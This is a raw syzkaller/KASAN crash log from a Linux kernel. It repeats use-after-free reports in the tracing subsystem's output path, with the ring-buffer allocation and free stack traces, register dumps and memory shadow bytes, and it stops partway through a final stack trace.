page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3d by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3e by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_subbuf_order_set+0x45d/0x14b0 kernel/trace/ring_buffer.c:7379
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
